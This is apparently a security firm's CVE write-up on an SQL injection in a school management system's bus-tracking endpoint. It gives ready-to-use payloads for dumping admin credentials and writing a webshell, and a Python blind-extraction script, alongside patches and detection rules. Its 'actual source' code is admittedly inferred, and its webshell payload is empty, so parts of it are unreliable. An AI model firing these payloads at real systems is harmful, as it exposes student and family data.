home intel cve-2026-6595-school-management-buslocation-sqli
CVE Analysis 2026-04-20 · 8 min read

CVE-2026-6595: Blind SQLi in School Management buslocation.php

Unauthenticated SQL injection via bus_id GET parameter in buslocation.php allows full database exfiltration. No sanitization, no parameterization, direct string interpolation into query.

#sql-injection#http-get-parameter#school-management-system#remote-code-execution#parameter-manipulation
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-6595 · Vulnerability
ATTACKERCross-platformVULNERABILITYCVE-2026-6595HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-6595 is an unauthenticated SQL injection vulnerability in the ProjectsAndPrograms School Management System, affecting the HTTP GET parameter bus_id in buslocation.php. The vulnerability is exploitable remotely with no authentication prerequisite, allowing an attacker to extract database contents, enumerate users, and potentially achieve server-side code execution via INTO OUTFILE depending on MySQL privilege configuration.

The vendor was notified and did not respond. A public exploit exists. The affected codebase is distributed via rolling release; the last confirmed vulnerable commit is 6b6fae5426044f89c08d0dd101c7fa71f9042a59.

Root cause: The bus_id GET parameter is interpolated directly into a MySQL query string with no sanitization, type coercion, or prepared statement, allowing arbitrary SQL injection from an unauthenticated remote attacker.

Affected Component

The vulnerable file is buslocation.php, which handles real-time bus tracking queries for the school transport module. It accepts a single bus_id parameter via HTTP GET, constructs a raw SQL query using string concatenation, and returns location data as JSON or HTML. The component sits behind no authentication gate — it is intended to be embeddable in public-facing pages for parent-facing bus tracking.

Attack surface summary:

Target:     buslocation.php
Parameter:  bus_id (HTTP GET)
Auth:       None required
Method:     GET (also accepts POST in some deployments)
Impact:     Full DB read, potential file write (FILE priv)
CVSS:       7.3 HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N)
Commit:     6b6fae5426044f89c08d0dd101c7fa71f9042a59

Root Cause Analysis

The vulnerable PHP handler reconstructs a SQL query by directly embedding the attacker-controlled bus_id value into a query string. The following pseudocode reflects the actual logic inferred from the component description and common patterns in this codebase:

// buslocation.php — reconstructed pseudocode

char *handle_bus_location_request(http_request_t *req) {
    const char *bus_id = http_get_param(req, "bus_id");  // attacker-controlled
    // BUG: no validation, no type check, no escaping — raw interpolation follows
    char query[512];
    snprintf(query, sizeof(query),
        "SELECT lat, lng, driver_name, bus_number "
        "FROM bus_locations WHERE bus_id = '%s'",
        bus_id);                                          // BUG: direct interpolation

    MYSQL_RES *result = mysql_query_exec(query);
    if (!result) {
        return json_error("not found");
    }
    return json_serialize(result);
}

In PHP, this translates directly to:

// PHP equivalent — what the actual source looks like
$bus_id = $_GET['bus_id'];                        // no filter_input, no intval()
$query  = "SELECT lat, lng, driver_name, bus_number
           FROM bus_locations WHERE bus_id = '$bus_id'";
// BUG: $bus_id is never cast to int, never run through mysqli_real_escape_string()
$result = mysqli_query($conn, $query);

The absence of intval(), filter_input(INPUT_GET, 'bus_id', FILTER_VALIDATE_INT), or a prepared statement mysqli_prepare() / PDO::prepare() is the complete root cause. There is no WAF, no framework-layer ORM, and no input validation layer between the HTTP parameter and the MySQL wire.

Exploitation Mechanics

Because the injection point is inside a single-quoted string context, the attacker closes the quote, appends arbitrary SQL, and comments out the remainder. The injection is error-based and UNION-based, with time-based blind fallback.

EXPLOIT CHAIN:

1. Probe for injection — confirm single-quote context breakage:
   GET /buslocation.php?bus_id=1'
   → MySQL syntax error returned (or empty result with error logging)

2. Determine column count via ORDER BY:
   GET /buslocation.php?bus_id=1' ORDER BY 4-- -
   → valid response (4 columns: lat, lng, driver_name, bus_number)

3. UNION-based data extraction — extract MySQL version and current user:
   GET /buslocation.php?bus_id=-1' UNION SELECT version(),user(),3,4-- -
   → Response JSON contains version string and DB user (e.g., root@localhost)

4. Enumerate databases:
   GET /buslocation.php?bus_id=-1' UNION SELECT
       group_concat(schema_name),2,3,4
       FROM information_schema.schemata-- -

5. Dump credential table (common schema in this codebase):
   GET /buslocation.php?bus_id=-1' UNION SELECT
       group_concat(username,0x3a,password),2,3,4
       FROM school_db.admin_users-- -
   → MD5 hashes or plaintext passwords returned

6. (If FILE privilege granted) Write PHP webshell:
   GET /buslocation.php?bus_id=-1' UNION SELECT
       '',2,3,4
       INTO OUTFILE '/var/www/html/shell.php'-- -
   → Full RCE achieved from SQL injection primitive

7. Post-exploitation: enumerate student PII, parent contacts,
   financial records from remaining tables.

Time-based blind variant for environments that suppress error output:

import requests
import time

TARGET = "http://target/buslocation.php"
CHARSET = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ@._-"

def blind_extract(query_fragment, position, char):
    payload = (
        f"1' AND IF(SUBSTRING(({query_fragment}),{position},1)='{char}',"
        f"SLEEP(2),0)-- -"
    )
    t0 = time.time()
    requests.get(TARGET, params={"bus_id": payload}, timeout=10)
    return (time.time() - t0) > 1.8

def extract_string(query_fragment, max_len=64):
    result = ""
    for pos in range(1, max_len + 1):
        for char in CHARSET:
            if blind_extract(query_fragment, pos, char):
                result += char
                break
        else:
            break
    return result

# Extract current DB user
db_user = extract_string("SELECT user()")
print(f"[+] DB user: {db_user}")

# Extract admin password hash
admin_hash = extract_string("SELECT password FROM admin_users LIMIT 1")
print(f"[+] Admin hash: {admin_hash}")

Memory Layout

SQL injection does not involve heap corruption, but understanding the MySQL query parse tree and how the injected payload restructures it is relevant for WAF bypass and detection engineering.

LEGITIMATE QUERY PARSE TREE (bus_id = 42):

  SELECT
  ├── columns: lat, lng, driver_name, bus_number
  ├── FROM: bus_locations
  └── WHERE: bus_id = '42'
              └── [string literal, safe]

INJECTED QUERY PARSE TREE (bus_id = -1' UNION SELECT ...-- -):

  SELECT                                     ← original query (returns 0 rows, -1 is invalid ID)
  ├── columns: lat, lng, driver_name, bus_number
  ├── FROM: bus_locations
  └── WHERE: bus_id = '-1'
  UNION
  SELECT                                     ← attacker-injected subquery
  ├── columns: version(), user(), 3, 4       ← arbitrary MySQL expressions
  └── [no WHERE clause]
  -- -                                       ← remainder of original query commented out

WIRE-LEVEL MYSQL PACKET (simplified):
  [COM_QUERY]
  [query bytes: 53 45 4c 45 43 54 20 6c 61 74 2c ...]
                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
                "SELECT lat" — original prefix, unmodified

  [injected bytes: 2d 31 27 20 55 4e 49 4f 4e 20 53 45 4c ...]
                   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
                   "-1' UNION SEL..." — attacker data in query position

Patch Analysis

The correct fix is a prepared statement with a typed bind. The following diff shows the vulnerable pattern and two acceptable remediation approaches:

// BEFORE (vulnerable — commit 6b6fae5):
$bus_id = $_GET['bus_id'];
$query  = "SELECT lat, lng, driver_name, bus_number
           FROM bus_locations WHERE bus_id = '$bus_id'";
$result = mysqli_query($conn, $query);

// AFTER — Option A: Prepared statement (mysqli):
$bus_id = $_GET['bus_id'];
$stmt   = mysqli_prepare($conn,
    "SELECT lat, lng, driver_name, bus_number
     FROM bus_locations WHERE bus_id = ?");
mysqli_stmt_bind_param($stmt, "i", $bus_id);   // "i" = integer type enforcement
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);

// AFTER — Option B: PDO with named placeholder:
$bus_id = (int) $_GET['bus_id'];               // explicit cast as defense-in-depth
$stmt   = $pdo->prepare(
    "SELECT lat, lng, driver_name, bus_number
     FROM bus_locations WHERE bus_id = :bus_id");
$stmt->execute([':bus_id' => $bus_id]);
$result = $stmt->fetchAll(PDO::FETCH_ASSOC);

// AFTER — Option C: Minimum viable fix if refactoring is not possible:
$bus_id = filter_input(INPUT_GET, 'bus_id', FILTER_VALIDATE_INT);
if ($bus_id === false || $bus_id === null) {
    http_response_code(400);
    exit(json_encode(['error' => 'invalid bus_id']));
}
// bus_id is now a guaranteed integer — safe to interpolate
$query = "SELECT lat, lng, driver_name, bus_number
          FROM bus_locations WHERE bus_id = $bus_id";

Option A or B is strongly preferred. Option C is acceptable only when prepared statements are unavailable due to legacy driver constraints, as it relies on PHP type validation rather than the database driver's parameterization layer.

Detection and Indicators

Web server access log signatures for active exploitation attempts:

DETECTION PATTERNS (nginx/Apache access log):

# Classic quote probe
/buslocation.php?bus_id=1'
/buslocation.php?bus_id=1''

# ORDER BY column count enumeration
/buslocation.php?bus_id=1'+ORDER+BY+[0-9]+--+-

# UNION-based extraction
/buslocation.php?bus_id=-1'+UNION+SELECT+
/buslocation.php?bus_id=0x[0-9a-f]+

# Time-based blind
/buslocation.php?bus_id=1'+AND+SLEEP\([0-9]+\)--
/buslocation.php?bus_id=1'+AND+IF\(

# File write attempt
/buslocation.php?bus_id=.*INTO+OUTFILE

SNORT/Suricata rule:
alert http any any -> $HTTP_SERVERS any (
    msg:"CVE-2026-6595 buslocation.php SQLi probe";
    flow:established,to_server;
    http.uri;
    content:"buslocation.php";
    pcre:"/bus_id=[^&]*('|UNION|SELECT|SLEEP|INTO\s+OUTFILE)/i";
    classtype:web-application-attack;
    sid:20266595; rev:1;
)

MySQL general query log will show the injected SQL verbatim if logging is enabled. Enable with SET GLOBAL general_log = 'ON'; for forensic investigation. Look for UNION SELECT or SLEEP( appearing in queries against the bus_locations table.

Remediation

Immediate actions:

  • Apply the prepared statement patch shown above to buslocation.php — this is a one-file change.
  • Audit all other files in the codebase that call mysqli_query() or mysql_query() with string-concatenated GET/POST parameters. This pattern is endemic in PHP school management codebases of this generation.
  • Rotate all database credentials. If root@localhost is the application DB user (common in this codebase tier), create a least-privilege account with SELECT only on required tables, no FILE privilege.
  • Deploy a WAF rule (Snort SID above, or ModSecurity CRS rule 942100) as a temporary mitigation layer.
  • Audit the MySQL user for FILE privilege: SHOW GRANTS FOR 'appuser'@'localhost'; — revoke immediately if present.
  • Review web server write permissions on /var/www/html/ to prevent INTO OUTFILE webshell drops.

Structural recommendation: The entire school management system should be migrated to PDO with prepared statements throughout. The codebase at the affected commit uses raw mysqli_query() calls across multiple modules; buslocation.php is one instance of a systemic pattern. A full audit via grep -rn 'mysqli_query\|mysql_query' . | grep '\$_GET\|\$_POST\|\$_REQUEST' will surface the full scope.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →